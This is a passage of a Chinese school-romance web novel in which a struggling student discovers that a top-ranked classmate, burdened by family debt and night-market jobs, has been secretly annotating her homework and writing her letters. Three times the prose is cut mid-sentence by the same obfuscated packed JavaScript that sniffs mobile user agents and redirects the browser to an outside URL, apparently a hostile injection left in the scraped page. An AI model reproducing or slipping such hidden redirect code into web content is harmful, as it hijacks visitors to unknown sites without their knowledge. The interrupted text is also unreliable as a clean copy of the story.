“念念。”她俩齐齐扭头看向余念,“你想去文科还是理科。” 余念翻书的动作一顿,轻声说:“我想去...理科。” “哈?”顾苒竖起来,“昨天你还抱怨说三角函数是跟英文似的,今天就背叛咱们了。” 余念扭头,“文科光历史书就有六本,不如直接嘎了我,还是理科友好一些。” “把它当做闯关游戏,努力找到诀窍就好。” “找到藏在牛顿棺材里的诀窍?”方依珞拿起水杯喝了一口,瞥她,“醒醒,这游戏通关率不到20%。” 榕城所在的两广高考竞争激烈,一本率就在15%左右。想要去好点的大学,挤破脑袋都未必能上。 不过高考对于目前新入学的高一来说,还太过遥远。 几人笑闹一会,也没打算去争执别人的选择。各自暗下决心好好学习,至少至少争取能进实验班。 未来也多几分把握。 其中最努力的就是余念。 考试临近,各班都挂起了倒计时,焦灼的氛围像黏腻的雾气一样萦绕在每个人心头。 余念争分夺秒,连下课时间都在做题,遇到不会的就请教老师和同学,一定要弄明白了才肯罢休。 顾苒和方依珞看到她这样拼命的样子,忍不住竖大拇指。 课间不再打扰她,俩人偷摸出去遛弯,回来给她带一杯喜欢的杨梅冰沙。 顾苒把杨梅冰沙放在桌上,“余大学霸,再学下去要羽化登仙了。” “马上放学了,去不去吃炒面,你最爱的那家。” 余念咬着吸管含糊不清,“还差最后一道题,马上。” “回来再写吧。”方依珞强行合上她的错题本,“学习也得讲究方法,哪有人一天埋头苦学的。” “走,今天有篮球赛,听说一班有个男生打得老好了。好像叫什么,孟修。”方依珞犯起花痴,“这名字一听就是大帅哥。” 顾苒也赞同,“咱去看会篮球赛就去吃炒面。” 余念被两人纠缠得无可奈何,最后还是决定出去走走,“行行行,我去行了吧。” “哎呀走吧,就等你啦!” 黄昏将云絮染成蜜橘色 篮球场早就被围得水泄不通。震耳欲聋的欢呼声如海浪般传来。 三人找到一个好位置。方依珞拉着余念的手大喊,“一直控球那个就是孟修,好帅。” 余念顺着她的视线看过去,果然看到一个白净的男生,脸上挂着如沐春风般的笑。 但很快,视线中就出现了另一个熟悉的面孔。男生面容坚毅,硬冷的面庞紧绷,所有人的目光都在孟修身上,他却压哨投进了最后一个三分球。 成功吸引现场所有的欢呼。 余念的耳膜嗡嗡作响。她看见少年沉默地穿过喝彩的人群,校服后背洇着深色的汗迹,在黄昏中蜿蜒成孤独的河。 不知是不是错觉,宋恩年转身时似乎朝她这边瞥了一眼,目光相触的刹那,像是迸发出火花那般。 余念忽然觉得,吵闹的世界忽然安静了下来。 一旁的方依珞还在疯狂拉着两人的手臂摇晃,“好帅啊。” “刚才投篮那个,你们注意到了吗。”余念想要找宋恩年的身影,可惜他走太快了,加之场上比较混乱,很难看出人去了哪。 顾苒平时就爱八卦,点头说,“也是一班的,成绩好到校长亲自请来的一中。长得也好看,就是人太孤僻了,听说家里欠了很多债,一天要打三份工。” 她啧啧了两声,“这样艰苦的环境都没能摧毁钢铁般学习的意志,太强了,简直就是六边形战士。” 余念若有所思点头。 第一个念头:原来他叫宋恩年。 第二个念头:所以那天的三个混混,不是来打劫的,是来催债的? 第三个念头:想不到他打篮球也这么厉害。 * 篮球赛缓解了不少考试焦虑,但再怎么样考试都还要来。 顾苒时常调侃余念,“努力都快要感动上苍了。” 可就算再努力,数学依旧没有起色。 语文和英语都有功底在,但数学的每道题看着都像是没学过的新题。 刚记完的知识点也是转头就忘。 晚自习下课后路过夜市,宋恩年看她走路都在记知识点,还因为不注意看路而差点踩到大黄的尾巴。 大黄是卖鱿鱼的摊主养的宠物狗。 这次他听清楚了余念逗猫的声音。 他站在女孩方才停留的位置,牛奶猫已经谨慎地钻回了草丛里,不悦地喵喵叫唤。 “原来你叫团圆。”宋恩年蹲下身子,从口袋里掏出一包小鱼仔,朝团圆晃了晃。 团圆这几天吃了他不少鱼仔,但依旧是生人勿近的模样,只对余念一人亲近。 宋恩年撕开包装,鱼仔的香味弥漫出来,团圆鼻子动了动,眼睛一亮,确定没有危险之后,拖着断腿从草丛里出来。 宋恩年尝试性摸了摸团圆的脑袋,它动作一颤,却也没有逃开。 少年嘴角扬了扬,“现在,我是第二人。” * 紧锣密鼓的月考悄然过去。 试卷很快批改完成,成绩发下来的这天,班里一片哀嚎。 余念拿着答题卡的手有些抖。 虽说出了考场就知道考的不算好,但五十分的数学答题卡发到手里,还是有种自己这些天的努力都像是个笑话的感觉。 语文和英语照常发挥,其他科目也有所进步,只有数学不进反退。 她哭了一节晚自习,下课的时候拿着答题卡来到数学办公室。 三班的数学老师是个刚毕业没多久的年轻姐姐,温柔倾听余念的苦涩,最后一起坐下来探讨考差的原因。 余念忍不住泪意,“老师,我已经很努力了,但就是没有进步,我该怎么办,我是不是不适合学理科。” 数学老师很温柔,“你的努力老师都看在眼里,这次的题偏难,不能因为一次考试就否定自己所有的努力。” “在老师眼里,你是一个很棒的女孩,你已经做的足够好。” 她顺手指了指不远处的办公桌上帮忙批改作业的同学,“这位是宋恩年同学,他成绩不错,是一班的,以后有问题也可以去请教他。” 余念扭头,再次看到那张熟悉的侧脸,努力将泪意逼了回去。 想到顾苒说的关于他的事。也不知道那天吼的一嗓子有没有帮到他。 数学老师的安慰使余念心情好了不少。离开办公室,微凉的风吹在脸上,吹散了心中的困顿。 她对宋恩年这些境遇有些好奇。 听数学老师的话来说,他的成绩很好。 再低头看自己手中那刺眼的五十分,余念叹气,这就是天才与凡人的区别吗。 因为教师办公室和教学楼离得较远,余念有意绕路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459105|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散心,不知不觉走到一楼大厅的光荣榜前。 学校的速度很快,成绩排名出来之后就将光荣榜换成了最新的排名信息。 光荣榜前十有大头像展示,下面还配有座右铭。 余念一眼就认出了第一名的那张脸。 少年眉眼锋利,盯着镜头的眼神锐利无比,像匹离群的孤狼。 与第二名拉开了三十分的差距。 一天打三份工还有时间学习,果然是六边形战士。 余念越想越觉得人与人之间的差距真大。 再看手中五十分的答题卡,实在刺眼,一气之下,揉成一团往垃圾桶的方向扔去,狠狠出了一口恶气,转身离开。 希望这张答题卡能够带走所有的霉运。 她离开后,一个纤长的身影从阴影中走出来。宋恩年静静站在光荣榜前,轻飘飘瞥了一眼位于第一位置那张独特的大头贴。 面无表情移回目光,来到垃圾桶房将掉落在一边的纸团子捡起,温柔地展开,折好,放进口袋里。 * 说来也奇怪。 自从那天后,每次数学作业发下来都有红笔批注的鼓励话语。 不仅这样,余念写错题目旁边都附上了详细的解析。那些典型的题目有好几种解题方法,都按照顺序整理好,写在她原本的解题旁边。 余念受宠若惊,扭头对同桌方依珞试探道,“数学老师改作业好认真呀。” 方依珞没意识到什么,作业发下来之后就没翻开过,闻言拿过来一看,“不就三个勾一个叉,有什么不一样的吗?” 她挠挠头,“咦,我这题怎么写错了...” 余念瞥了一眼,发现方依珞的作业上没有红笔批注。她又去打探了顾苒,也同样没有。 这说明,老师只给她的作业留了批语。 余念如同发现了新大陆一样新奇,将这些归为那天晚上去谈心之后得到了老师的特别关照。 “一定不能辜负老师的期盼。”她暗暗想。 心里自豪又高兴,下定决心要好好学数学,不能辜负老师的好心。 这样的特别关照一直持续了一个多月。这一个月内,每次数学老师布置作业,余念都会非常积极主动地写完,绞尽脑汁用老师在先前作业里批注的解题方法来写。 以表示自己有在认真地思考学习。 老师总会在下一次的批注中暗暗鼓励。慢慢的,余念对数学的学习兴趣越来越浓,很少有能难倒她的题目。 这个秘密像汽水瓶里的气泡,每天都在膨胀。 直到这天。 余念对作业上某一题的解题思路百思不得其解,下课时请教数学老师,“老师,这题写的这解题思路好难,是怎么理解呀?” 数学老师笑着说,“念念,你最近数学进步很大。” 余念露出灿烂的笑:“还得谢谢老师。” 老师拿起作业看,点头道,“这些解题思路太巧妙了,一般人想不到这样来解,你是个聪明的孩子。” 余念有些不太明白,“老师,作业本上的解题思路和步骤不是您写给我的吗。” 老师没想到她会这样说,也有些愣,“不是我写的呀,课业较忙,一班的课代表自动请缨,说改作业能温故知新,我就答应了。” “不过我看过你的作业,字迹清晰认真,还记录了各种解题方法与步骤,看得出来你很认真了。” 余念愣住了,某些东西有一瞬间崩塌。 这些批注和鼓励,不是老师写的。 一班的课代表...... 余念想到了宋恩年。是他一直在默默地帮衬自己吗? 但是为什么呢? 她想破脑袋都想不明白。 她留了个心眼。 那日上学,本该一直往下走就能到学校的路,余念不知作何想,转身往一旁的小巷子钻去。 靠在巷子墙上,她总觉得,有人会过来。 果不其实,下一秒,少年快步从巷口走了过去,张望之下,和巷子里的余念对上了眼。 5. 第二封信 余念有些不知所措,“你......” 宋恩年看样子也有些愣,随后冷静道:“同学你好,可以让一下吗。” 他的声音像冰镇过的柠檬水,明明带着清甜的凉意,偏生教人舌尖泛起微涩。 燥热的风掠过少年洗得发白的校服领口,带起一缕薄荷皂角的清冽。 余念愣住。 瞥见他眼下淡色的鸦青,忽然想起顾苒说的话,“他一天要打三份工。” 不会......这么早就要去打工吧? 这也太拼了。 “同学?”宋恩年在她面前晃了晃手,看向手腕的表,“要迟到了。” “啊,好的。”余念回过神,从巷子钻了出来。 这条巷口狭小,仅能供一人通行,若是两个人相向而来的话,须得侧身才能过去。 她看着少年清瘦的背影往巷子里走,直至拐角处,消失不见。 余念抓了抓脑袋,本还想问一问对方为什么要帮她,现在看来还是算了。 万一人家本就乐于助人呢。她那作业写得太过惨不忍睹,顺手点拨两下罢了。 这种可遇不可求的大好事,得需把握住。 余念想着,接受了这个理由,抬脚往学校去。 没注意到,巷口背着书包出来的少年,紧紧盯着她的背影。 今早,宋恩年帮外婆摆好早点摊后,看到余念蹦蹦跳跳出门,忍不住跟在后面一会,差点被她发现。 还好自家就在这条巷子里,借口不算太过拙劣。 他静静站了一会,而后,从地面上捡起来一块印有HelloKitty的橡皮。 在指尖转了片刻,也往学校的方向去。 * 余念拿着新发下来的数学作业,上面依然有熟悉的鼓励话语以及解题思路和步骤。 指尖触到作业本粗糙的封皮,那些工整的解题步骤突然变得滚烫。 她突发奇想,抽出一张纸,拿不同颜色的笔在上面写了一题没弄明白的物理题,夹在了作业本中。 写好今日的数学作业之后,一起交了上去。 * 一天的时间过得很快。 晚自习下课,宋恩年照常来到夜市摊。煎炒油炸,香气氤氲,油锅里腾起金黄的云。 摊主们看到他来,手中动作不停,笑着,“小宋又来了。” 宋恩年熟练地穿梭过沸腾的烟火气。 铁板鱿鱼在滋滋作响,糖炒栗子的甜香缠着烤冷面的酱香。少年来熟练将围裙系上,点头,“嗯,作业写完了就来了。” 宋恩年干活勤快,就是个端盘子的简单活也能给人打心底生出一股满意之感。 隔壁正在煎鱿鱼的老杨笑着说:“今晚我这不算忙,小宋你照看他们几个摊位就成,工钱我照常开。” 宋恩年动作一顿,将竹签子和塑料分类放好,“那不行,没有不干白拿的道理。” 几个摊主没说话,愈看他愈满意。家中也有孩子在一中上学的,第一次月考家长都重视,也知道宋恩年是全校第一。 想不到这小伙子身兼数职,挤出丁点时间学习,就能学到全校第一的位置。 这在家长眼中,那可是不得了的好苗子,考清北不在话下。 在宋恩年来之前,几个摊主商量着,聊到他的处境,众人连声叹气。 炒鱿鱼的老杨脾气爆,当场就道,“父母欠下来的债现在却要孩子来还,真是良心都被狗吃了。” “可不呗。”卖炸串的花姐搭话,“我家那皮孩子能比得上小宋的一半我就烧高香了,父母真是无情,小宋这些年一定受了很多委屈。” 越说越不忍心,几人商量好,每个摊子每晚涨十块钱的工钱。 一晚上加起来,总共是90元。 这样宋恩年就不用太辛苦,加上宋奶奶卖早点,祖孙两人也能将日子过好些。 晚上10点迎来夜市的高峰,人也越来越多,四处都热闹起来。 夜市霓虹在少年睫毛上投下细碎光斑,油锅翻腾的哔啵声里,他总能精准捕捉到每声“小宋”的呼唤,而后穿过人群,将桌面收拾好。 三个社会混混倚靠在不远处的墙角,影子被路灯拉得老长,像黏在墙上的口香糖。 每人嘴里都叼着一根烟,吞云吐雾,视线锁定在宋恩年身上。 黄毛没了耐心,“老大,自古催债的都是大爷,咱直接上去要钱,完事就走。” 红毛把烟头按在砖墙上,碾出淡淡的焦痕。闻言给了黄毛的脑袋一拳头,“自古?懂的还挺多,就是没脑子。” “没看到他们这么多人在呢吗,都是一伙的,咱仨要是现在上去,讨不到半分好处。” 另一混混说,“那咱们就在这等着?等那小子下班?” 黄毛着急道,“咱们本来就是催债的,还要等人下班,太窝囊了。” “对了,他家不是还有个老太婆,实在不行找那老太婆去,她这些天在这摆摊也赚了不少钱。” 红毛闻言又扭头给了他脑袋一巴掌,“那老太婆心脏不好,上个月闹过那一回差点出人命,还被拍了视频传到网上,害咱被骂了半个月。” “去弄那老太婆,到时候她两腿一蹬,人财两空,看上头不整死你。” 黄毛觉得委屈,瘪瘪嘴不说话。 红毛摸出一根新烟,打火机的刮擦声清脆,“再等等,他们肯定会还的。嫌烦?我还烦呢。” 三人就这样在墙角等着,站着实在太累又换成蹲着,最后索性坐在地上,靠着墙角昏昏欲睡。 难受的是,这闷热的天,大晚上的温度也没有丝毫下降的意味,如同浸泡在蒸笼里头。加之这些石头砖块在白天吸饱了热量,靠在上面就如同靠在火炉子旁一样。 再加上蚊子又多,嗡嗡嗡的扰人心烦。 黄毛实在受不了了,“腾”地一下站起身来,蹲得太久有些脑袋昏花,踉跄两步,“奶奶的,老子在这喂了这么久的蚊子,我现在就去...” 话没说话,一叠钞票就递到了他面前,堵住了他的话。 黄毛一愣,缓慢抬起头。 宋恩年面无表情开口:“这个月的费用。” 另外两人也站起身来,红毛感觉手臂一阵瘙痒,一巴掌下去,一只硕大的蚊子被拍扁在掌心,顿时心烦意乱,张口就道:“小子,你知不知道我们在这等了多久!” 宋恩年将钱塞到红毛怀里,将书包甩上肩膀,径直离去。 “嘿,他还来劲了。”黄毛看他不爽,撸起袖子就要上前。 红毛拦住他,双手插兜往路边一站,眯起眼,“这个月就先这样,起码任务完成了,咱们走。” “老大。”黄毛着急,“就这么让那小子走了,咱们在这喂了三个多小时的蚊子。” “那不然如何。”红毛将钞票拿出来数了数,正好十张。当看到上面明显的油渍时,他动作微顿,还是将票子一同塞入口袋。 “走了,今儿收工。” 他重新从口袋摸出一支烟,“明儿还得催下家还钱去,时间紧,任务重。” 扭头看另外两人满脸不爽的样,也板起脸,“咋的,还想继续在这喂蚊子?” “没,没。” 黄毛努努嘴,往地上“呸”了一口,将视线从少年的背影上移开。 无人发现,少年攥紧的拳头,手臂上全是新旧交替的伤疤。 他忍耐般吐出一口浊气。 再忍忍。 * 宋奶奶靠在椅子上假寐,听到宋恩年回来的声音,立即起身,轻手轻脚将放在大锅里温着的饭菜拿出来。 扭开电灯,老式钨丝灯泡在餐桌上投下暖黄的光晕。 “阿幺,来吃饭咯。”外婆朝卧室里喊了一声。 宋恩年从口袋里将HelloKitty橡皮和叠好的答题卡放到桌面上,应声说,“好,马上就来。” 祖孙二人无声吃着饭。 宋奶奶给他夹了一块肉,试探着开口:“阿幺,外婆今天想了很多,趁现在身子硬朗着,从明儿起,我去夜市试着卖夜宵,你晚上下课就回家,正长身体的年纪,学习要紧,咱们的钱够用。” 宋恩年筷子一顿,也夹起一块肉放进外婆碗里,闷声说:“不用,不耽误我学习。” 宋奶奶前两日也提过想要去夜市摆摊的事,宋恩年不同意。 上个月那仨人来催债,外婆气急攻心,当场昏迷,这事对他留下了严重的心理创伤。 这个世界上,他只有外婆一个亲人了。 宋奶奶叹一口气,“你这孩子。” 宋恩年三两口将饭吃完,“外婆,您好好休息,钱我会凑齐的。” 说完,假装没看到宋奶奶欲言又止,径直去洗碗,而后回了卧室。 他静静坐了一会,盯着桌面上的粉色橡皮发呆。拉开台灯线,灯罩在桌面上晕出毛茸茸的光圈。 照例将今日老师布置的作业写完,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459106|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将明天要讲的内容复习一遍。做完这一切,时针已经指到了一点钟。 他想躺下睡觉,余光瞥到桌面上的答题卡。 他又坐直了身子,将答题卡展开,看着上面匆忙的解题步骤。 刚开始的大题每一步都非常认真,字迹清晰,越到后面就越慌乱,到了难题就匆匆写一个解,只将公式摆上去,俗称“摆地摊”。 奈何老师判卷严,没有给分。 他有些好笑。 台灯暖光里,少女的字迹像春日抽芽的柳枝。 他想,这一手漂亮的字要是写作文,语文老师应当会很喜欢。 宋恩年从书包里拿出笔,在答题卡背面的空白区域上方停顿,思考片刻,开始落笔。 * 余念同学: 今早在巷子口遇到你了,是在等谁吗,看到我,你好像有些欲言又止。 还好我反应快,虽然取书包的借口有些笨拙......希望你没有发现吧。 这几天也没发生特别的事,非要说,那就是将这个月的钱还上了,能安稳一段时间了。 那天在办公室帮老师改作业,看到你哭着进来,原谅我偷听了你和数学老师的对话。原来你想学理科,怪不得对数学这样上心。 看你在光荣榜前停顿了很久,那时候真的很想上前和你搭话,起码说两句安慰的话也好,但我该以什么理由或身份上前,你估计都不认识我吧。 不要难过,总有一天你也会登上榜的,你的名字会落在最明亮的那个位置。 我在你的作业上留了很多话和解题思路,你都看见了吧,接下来的每次作业我都看得出来你有在尽力地用新方法来解,思路也越来越清晰了,真为你高兴。 你夹在作业里的物理题我看了一节课,是察觉出来那些批注不是老师写的了吗? 我用三种解法写在草稿纸上,又揉成团扔开,请原谅我的怯懦。 到时候你会怎么看我,会觉得我自作多情吗。仅仅是因为那天,你在巷口喊的那句话,我记了很久很久。 对了,我还报名参加了篮球联谊赛。因为想到你肯定也会去看,到时候就会在场上看到我。 我也不明白自己,既想得到你的注意,又不想太过明目张胆。 那天你果然来看球赛了,很高兴我看向观众席的时候,你也正在看我,那一秒真的好开心。 今天夜市收摊的时候遇到一个卖花的小姑娘,正好还剩两朵雏菊,她送给我了。 现在这两朵雏菊就在我旁边,我此刻落笔。 雏菊真的很好看,就像你的笑一样。 书于2015年9月26日晚。 * 写完信,宋恩年将其郑重折叠好放入小铁盒里。这是第二封。 窗外风吹而过,交错的晾衣绳发出清脆的声响。 希望明天是个晾得干心事的晴天。 * 时光流转,余念看完第二封信。 字里行间的字句织成一张柔软的网,将她带回三年前。 她那时候一根筋,对感情较为迟钝,压根没想到当时那个被誉为“神话”一样的的少年竟然有过这样在意她的时候。 余念捏着信的手紧了紧。字句里透露出少年的某些心思和自己心里的情感交织,旋转,又混沌。大脑有些晕乎乎的。 但她清楚,她现在很开心,准确来说,很兴奋。 原来...原来...... “念念?”梁秀英的声音将她拉回现实,“不是说要出门吗,这么晚了,明儿再去吧,洗手吃饭了。” 余念扭头往窗外看,天已经黑了,整个城市笼罩在温柔的夜里。 她犹豫片刻,小铁盒里还有八封没来得及看的信,决定先将信看完再说。 瞥了眼沙发上的雏菊,不知道是不是错觉,总感觉雏菊比刚买回来的时候蔫了很多。 “应该是缺水了吧。” 余念起身找来一个大瓶子,将花养进去,不放心还叮嘱妈妈,“妈,明天我要拿去送人的,帮我照看照看。” 余妈笑她,“好,知道了。” “我们家念念也有自己的小心思了。” “哎呀,妈!”余念有些脸红,“胡说。” 余建国将最后一个菜端出来,骄傲道,“快来尝尝新做的甜醋鱼,这可是大师的秘方,保管好吃。” “开饭咯。” 无人注意到,雏菊在慢慢地,慢慢地枯萎。 6. 第三封信 余念惦记着还没来得及看的八封信,急匆匆扒完一碗饭,刚想下桌,一抬头碗里又被塞了个大鸡腿。 梁秀英收回筷子,“高考这么累,得多吃些才能补回来。” 余建国也夹了一块鱼肉过来,“那是,多吃些。” 余念欲哭无泪,“我真的吃不下了。”伸出手比划了一番,“这么大一盘都被我吃凹下去了。” “我吃饱啦,大家慢慢吃。” 说罢就急急起身,往客厅冲去。 “小滑头。”梁秀英嗔怪一声,“干啥都急吼吼的。” “从小就那样。”余建国吃着,眼里是笑意,“咱们念念开心就好。” ....... 余念来到客厅,将整个牛皮纸箱子和小铁盒一起抱到了卧室里,往桌面上一放。 顺手从小铁盒中拿起第三封信,展开。 这封信内容不算长,却见上面印着某些已经干涸的暗红色痕迹。 像血迹。 余念皱起眉,仔细摩挲那一片血迹的位置。粗糙的纹理,像是被不小心滴上去,而后被人使劲摩擦想要擦除,奈何痕迹已经渗透进了纸张里。 最后也索性也不管它,任由它留在此处。 余念窝在躺椅里,看着信里的内容。时光渐渐倒流,回那个溽热的晚秋。 * “最近出了很多好看的新电影,晚自习下课后我们一起留下看电影吧。” 顾苒和方依珞都很期待,“在教室看电影耶,还是第一次。” 余念有些犹豫,“十点半校门就落锁了,我们怎么出去。” “要不说你是好学生呢。”顾苒很霸气地说,“都打听好了,操场东南角有个狗洞,可以从那钻出去。” 方依珞面露嫌弃,“你的好办法就是去钻狗洞啊,这么复古的招数,亏你想得出来。” “不要小瞧它,这叫战略性撤退通道。”顾苒说,“对了,小胖也答应了要留下来看电影。” 顾苒的同桌是一个只会闷头学习的小胖子,平日里戴眼镜,也不怎么和人说话,沉默寡言的。 有意思的是,他体型庞大,名字却很反差,名为陆青竹。 顾苒还专门和她俩调侃过,刚看到座位表的时候,以为同桌是个清瘦的男生。后来看到本人走过来,还怀疑是不是走错了。 陆青竹闻言抬起头,腼腆打了个招呼:“你们好。” 开学快两个月了,大家也都彼此认识。三个女生比较放得开,嘻嘻哈哈道,“都好都好。” 方依珞看着陆青竹的体型,“顾苒,那狗洞够大吗,别等会陆青竹出不去。” 顾苒思考片刻,“实在不行,咱们从食堂后的偏门走,那儿有保安大叔,很好说话的,肯定会让咱出去。” 四人想了一番也觉得可行,纷纷点头。 “全票通过!” * 一天的课程还是那样无趣。余念全程都在认真听课做笔记,方依珞只挑自己感兴趣的课程听,像物理那些抓破脑袋也听不懂的课,她选择睡回笼觉补精神。 顾苒最近迷上了漫画,不管什么课都在课本下夹着漫画书。看到精彩上头的部分忍不住笑出声。老师的粉笔头精准砸了过来,手里的三角板敲得黑板咚咚响, “顾苒,在笑什么,咱们讲到哪了?” 顾苒回过神,有些懵,犹犹豫豫站起来,余光瞥到陆青竹正指着地理课本的一道课后题。她低头准备糊弄两下,却发现自己连课本都没拿出来。 地理老师是个地中海,上了这么久的课本就口干舌燥,看到她那样,一下来了气,“你下课把这道题连同答案,一起抄五十遍,明早放我桌上。” 顾苒低着头,“是,老师。” 地理老师没打算为难她,“好了,你坐下吧,咱们继续往下讲。” 顾苒掏出地理书,看到那么长的一题,只觉得两眼昏花,再翻开答案,一堆没见过的词,又是头昏脑胀。 “小胖,刚才你怎么也不提醒我一下。”她压低了声音,戳了戳陆青竹的圆润的手臂。 陆青竹抬起头,闷声说,“我提醒了,你说...说不要烦我。” 顾苒哽住,“我还说过这种话吗.......”她找补回来,略带抱歉,“可能是那时候看得太入迷了,下次...下次再有这种情况,直接喊我!” 陆青竹轻轻点头。 顾苒一看到书上那和阅读理解一样长的题目就觉得天旋地转,“要抄五十遍啊...这猴年马月才能抄完。” “对了,地理课现在上到第几章了?” 陆青竹指了指,“第六章了。” 顾苒翻书,看自己那白净如新的课本,再次抓狂,“完蛋,落下了这么多。” 想了想,为了今晚看电影的大计,立马拿出作业本,开始抄起题目。 奈何一直抄到了傍晚下学,也才抄了三十遍,手已经酸得不能动弹,摊在课桌上哀嚎,“我实在写不下去了,这题答案比新华字典还长。” 陆青竹犹豫,小心翼翼瞥了她一眼,提议道:“要不,要不我也帮你抄点。” 顾苒眼睛顿时充满光芒。看向陆青竹,眼神很快又黯淡下来,“你的字迹和我的不一样,老师一定会认出来的,还是算了。” “我可以模仿。”陆青竹说,“反正我也没什么事,我帮你写吧。” “你简直太好了小胖,下课请你吃烤肠!”顾苒将作业推过去,“和你做同桌简直是上辈子修来的福分。” “得了,再说下去人家脸都红了。”方依珞转过身来调侃。 陆青竹头更低了,恨不得低进作业里。 顾苒摊着手说,“小胖才不是那么容易就脸红的人。”说着还拍了拍陆青竹的肩膀,“咱们是好哥们,对吧小胖。” 陆青竹抄作业的动作一顿,闷声嗯了一声。 余念说,“赶紧先写作业吧,晚上可没时间了。” 每科老师几乎都留有第二天要交的作业,晚自习的大半时间几乎都放在了写作业上。 四人赶紧赶慢,终于在晚自习下课之前将今日布置的课业写完。 晚自习放学的钟声响起,同学们陆陆续续收拾好东西离开,只剩下余念四人还在座位上。 班级值日生最晚走,倒完垃圾回来还看到她们,有些不解,“你们不走吗?” 方依珞笑着,“我们还有一道题没解出来,马上就走。” 值日生哦了一声,没多问,拿起书包离开。 现在班里就只剩下余念四个人。 他们在三班,也就是在一楼最中间的班级,对面楼层或者楼上的人下来,轻易就会看到班级还亮灯,因此顾苒第一时间将灯关了,然后拉起窗帘。 白板的光亮照在四人兴奋的脸上。 方依珞手指在白板上轻点,“要不咱们就看小黄人吧,萌萌的,多可爱。” “听说新电影是冒险题材,肯定精彩。” 顾苒往下划拉,“看捉妖记吧,网上都说胡巴超级可爱。” 余念说,“夏洛特烦恼也不错。” 气氛凝住。方依珞还是提议,“我光看小黄人的预告片都觉得此片只应天上有,正片肯定更好看。” 顾苒也不想错失这个看电影的大好机会,“捉妖记网上全是好评。” 余念坚持,“夏洛特烦恼评分也不低,听说还沾点穿越呢。” 三人思考了会,提议说,“要不这次就先选一部来看,若是顺利的话,咱们下次继续看其他的。” 所有人点头赞同,齐齐扭头看向陆青竹,“小胖,你来选。” 陆青竹被推到前面,有些不知所措,“我...我觉得都很好。” “不行,必须选出一个。”顾苒说,“哪个都行。” 陆青竹夹在中间有些慌张,随手划拉了一个,就听到顾苒的欢呼声,看捉妖记。 余念和方依珞没有气馁,纷纷道:“下次有机会再看咱们选的。” “得嘞,没问题。”顾苒喜滋滋准备点开捉妖记,陆青竹先将多媒体的音量给调小了。 “对了,我买了爆米花,差点忘了。”顾苒一拍脑袋,兴冲冲拿来一个包装袋子。 一打开,爆米花的甜香弥漫而出。 余念拿起一颗,满口清脆,“好吃。” “真不错,在哪买的。”方依珞边吃边拿。 顾苒:“校外经常卖烤地瓜的那个老爷爷,他也做爆米花。” 说着,电影开场。 几人不自觉沉浸进去,顾苒时不时抓一颗爆米花。瞥旁边一眼,发现陆青竹只是坐在那,安安静静的。 就像他只会安静地听老师上课那样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459107|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾苒将爆米花往陆青竹身边一推,“小胖,你也吃点。” 陆青竹回过神,撞进顾苒的眸中,慌张点了点头。 白板蓝光映着四张青春洋溢的脸。 闷热的风从窗户缝隙吹进来,掀起窗帘一角,漏进的月光在地面流淌成银河。 * 晚自习放学后,宋恩年照例来到夜市帮忙。只是今晚顾客少,听老杨说,新城区有个露天演唱会,人都看演唱会去了。 宋恩年点头,将围裙放下,“杨叔,没有需要帮忙的,我先回去了。” 老杨的烤箱上还放着几条烤鱿鱼,因为没人光顾,冷了就开火,放久了又凉,很多次之后也不打算烤新的。 闻言也道,“明儿生意好,小宋你再来。” 宋恩年“嗯”了一声,往巷子里去。 他没着急回家,顺着黑漆漆的巷子七拐八拐,来到一间小屋前。 犹豫片刻,抬手敲了敲门,三长两短。 屋内很快传来动静。不一会,一个干瘪瘦弱的老头从里面透出脑袋,看到宋恩年,笑得露出满口黄牙。 “来来来,快进屋来。” 屋子逼仄狭小,宋恩年须得弯腰才能进去。 本就很闷热的天,老头却在屋内烧一个大火炉,瞧着那熊熊大火,炽热的温度从火炉中传遍屋子的每个角落,一进去就感受到那股热浪。 幸好屋内还算干净。 宋恩年习惯了老头这不是正常人的做派,拉了一个凳子坐在门边。 “干净的活,三天。” 老头闻声瞥了他一眼,阴阳怪气,“哟,舍得来了?” 老头瘫在真皮沙发上,“之前劝你,相比于去夜市当小二,不如跟着我干,多干他几票的,钱这种东西,流水一样的来。你不听劝,非要去当什么好学生。” 宋恩年面无表情:“少废话,有没有活接。” “有有有。”老头局促笑着,从桌上拿起一个厚重的笔记本,仔细对着光亮翻开。翻翻找找了好一会,才开口说:“找到一个适合你的。” “直说。” 老头沙哑的笑声像生锈的齿轮转动,“你比谁都适合这个活,毕竟你现在每个月都要经历一次。” 宋恩年周身气息一沉,“我不干追债的事。” 老头着急,“不不不,不是去追债,是帮人躲债。” 